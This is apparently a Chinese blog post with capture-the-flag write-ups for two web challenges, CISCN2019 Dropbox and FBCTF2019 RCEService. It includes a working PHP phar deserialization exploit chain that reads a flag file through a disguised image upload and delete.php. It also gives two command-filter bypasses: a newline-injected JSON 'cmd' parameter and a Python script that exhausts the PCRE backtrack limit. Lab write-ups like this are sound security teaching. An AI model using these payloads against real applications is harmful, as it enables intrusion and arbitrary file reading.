[CISCN2019 华北赛区 Day1 Web1]Dropbox

1、访问界面,有注册功能

image-20210908113102483

2、先注册test/test,登录后存在上传文件功能,尝试上传

image-20210908113212723

3、构造常规shell,提示Only gif\jpg\png allowed,修改上传类型

image-20210908113820385

4、发现文件被改名了

image-20210908113846350

5、抓包下载,存在文件任意下载,想要直接查看flag,但没找到

image-20210908114008473

6、查看网站源码

7、download.php中存在ini_set,限制只能访问/etc/tmp,getcwd当前目录,所以没办法利用

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

8、upload.php中设定检测上传类型

switch ($_FILES["file"]["type"]) {
        case 'image/gif':
            $fileext = ".gif";
            break;
        case 'image/jpeg':
            $fileext = ".jpg";
            break;
        case 'image/png':
            $fileext = ".png";
            break;
        default:
            $response = array("success" => false, "error" => "Only gif/jpg/png allowed");
            Header("Content-type: application/json");
            echo json_encode($response);
            die();
    }

9、只能利用delete.php,delete.php中使用detele(),detele中使用unlink

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

10、phar利用条件:

① phar文件要能够上传到服务器端
② 要有可用的魔术方法作为“跳板”
③ 要有文件操作函数,如file_exists(),fopen(),file_get_contents(),file()
④ 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤

img

11、构造payload,先触发User类中__destruct魔术方法,再调用FileList类,但FileList类中不存在close()方法,触发__call,$file调用File类,$file->$func()调用File类读取flag.txt,在通过__destruct把结果echo出来

<?php
class User {
    public $db;
}

class File {
    public $filename;
}
class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct() {
        $file = new File();
        $file->filename = '/flag.txt';
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub

$o = new User();
$o->db = new FileList();

$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

12、先上传phar文件,修改类型

image-20211009104926762

13、在删除时进行抓包,filename值修改为phar://phar.gif,读取到flag

image-20211009105033498

[FBCTF2019]RCEService

1、访问界面

image-20211009105252786

2、在测试过程中,发现许多函数都被禁用了

image-20211009105859460

3、方法一:使用%0a绕过

?cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}

4、方法二:使用PHP利用PCRE回溯次数限制绕过某些安全限制

参考链接

import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://aa64b43d-4702-46e7-8df2-6835a8b1cb59.node4.buuoj.cn:81/", data={"cmd":payload})
print(res.text)
文章作者: weehhd
版权声明: 本站所有文章除特别声明外,均採用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 weehhd
渗透测试
喜欢就支持一下吧
打赏
微信 微信
支付宝 支付宝